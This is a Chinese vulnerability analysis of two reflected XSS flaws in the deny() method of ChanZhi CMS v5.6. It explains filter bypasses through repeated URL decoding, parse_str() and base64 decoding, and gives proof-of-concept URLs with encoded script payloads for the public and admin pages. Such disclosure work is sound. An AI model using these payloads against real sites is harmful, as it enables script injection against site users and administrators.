## 漏洞概述
蝉知开源版CMS v5.6在`user`模块的`deny()`方法中渲染模板文件时，对用户输入的参数进行渲染，且没有正确处理，导致可绕过一些过滤，从而造成反射性XSS。具体该`deny()`方法在`system/module/user/control.php`文件，该模板文件是`template/default/user/deny.html.php`文件。
## 漏洞分析
`user`模块的`deny()`方法（`/system/module/user/control.php`）：
```php
public function deny($module, $method, $refererBeforeDeny = '')
{
$this->app->loadLang($module);
$this->app->loadLang('index');
$this->setReferer();
$this->view->title = $this->lang->user->deny;
$this->view->module = $module;
$this->view->method = $method;
$this->view->denyPage = $this->referer;
$this->view->refererBeforeDeny = $refererBeforeDeny;
$this->view->mobileURL = helper::createLink('user', 'deny', "module=$module&method=$method&referer=$refererBeforeDeny", '', 'mhtml');
$this->view->desktopURL = helper::createLink('user', 'deny', "module=$module&method=$method&referer=$refererBeforeDeny", '', 'html');
die($this->display());
}
```
该方法接收三个参数。假如URI为`www.xxx.com/index.php/user-deny-1-2-3`，这三个参数分别赋值为1，2，3。
#### 第一个反射XSS
来源代码审计小密圈molody分享。访问` http://127.0.0.1/index.php/user-deny-%252522%25253E%25253Cscript%25253Ealert%2525281%252529%25253B%25253C%25252fscript%25253E%25253C%252522` 即可触发。
上面URI携带的payload `%252522%25253E%25253Cscript%25253Ealert%2525281%252529%25253B%25253C%25252fscript%25253E%25253C%252522 `会通过三次URL解码，拼接等，最后渲染在`/template/default/user/deny.html.php`包含的`template/common/header.lite.html.php`文件的`$mobileURL`
这三次URL解码分别是：
1. URI传递到服务器时进行URL解码。
2. 合并默认参数跟用户URI传递的参数时，进行解码。`/system/framework/base/route.class.php`的`mergeParams`方法里：`$defaultParams[$key] = strip_tags(urldecode($passedParams[$i]));`
3. 调用` $this->view->mobileURL = helper::createLink('user', 'deny', "module=$module&method=$method&referer=$refererBeforeDeny", '', 'mhtml');`生成链接时，进行URL解码。`system/framework/helper.class.php`的`createLink()`里：`if(!is_array($vars)) parse_str($vars, $vars);`。 **parse_str()方法在解析字符串时会进行一次URL解码**。生成的链接会被渲染，最后paylaod作为链接的一部分被解码成：`"><script>alert(1);</script><" `。
主要是通过最后一次URL解码，绕过`strip_tags()`过滤。
#### 第二个反射XSS
访问`http://127.0.0.1/index.php/user-deny-1-2-aHR0cDovL3d3dy5iYWlkdS5jb20nPHNjcmlwdD5hbGVydCgzKTs8L3NjcmlwdD4n.html`可触发。
上面的URI传入的payload `aHR0cDovL3d3dy5iYWlkdS5jb20nPHNjcmlwdD5hbGVydCgzKTs8L3NjcmlwdD4n`是经过base64编码的。在渲染的时候会经过一次base64解码。具体在`template/default/user/deny.html.php`文件：
```
if($refererBeforeDeny) echo html::a(helper::safe64Decode($refererBeforeDeny), $lang->user->goback, "class='btn btn-primary'");
```
`$refererBeforeDeny`就是传入的payload。奇怪这里为什么有个base64解码，导致之前的过滤都绕过了。
另外在渲染完前台模板后会调用`/system/framework/control.class.php`文件里的`control`类的`mergeCSS()`和`mergeJS()`来把Javascript代码放在一起，CSS代码放在一起。
以`mergeJS()`为例，这个方法匹配出script标签，具体是
```
preg_match_all('/<script>([\s\S]*?)<\/script>/', $this->output, $scripts);
```
然后把匹配到的script标签的内容合并，插在`</body>`标签上方。
实际上，在没有执行`mergeJS()`之前，我们的payload在页面上是：`<a href='http://www.baidu.com'<script>alert(3);</script>'' class='btn btn-primary'>返回前一页</a>`，这样的js代码是不会解析的，运行了`mergeJS()`之后，`<script>alert(3);</script>`这段代码才给合并到`<script>`标签里，从而成功解析。
另外对于`admin.php`页面（管理员后台页面），不会调用mergeJS()方法，其XSS可为：：`http://127.0.0.1/admin.php/?m=user&f=deny&module=1&method=2&refererBeforeDeny=aHR0cDovL3d3dy5iYWlkdS5jb20nPj48c2NyaXB0PmFsZXJ0KDMpOzwvc2NyaXB0Pjwn`
`admin.php`和`index.php`的XSS所达到的效果都是一样的。在这一个反射XSS中，`helper::safe64Decode()`是危险的方法，导致绕过了过滤。而`mergeJS()`方法提供了一点不紧要的帮助。
## 漏洞证明
访问 `http://127.0.0.1/index.php/user-deny-%252522%25253E%25253Cscript%25253Ealert%2525281%252529%25253B%25253C%25252fscript%25253E%25253C%252522` 即可触发。
访问`http://127.0.0.1/index.php/user-deny-1-2-aHR0cDovL3d3dy5iYWlkdS5jb20nPHNjcmlwdD5hbGVydCgzKTs8L3NjcmlwdD4n.html`可触发。
共 2 兑换
京公网安备 11010502034610号
暂无评论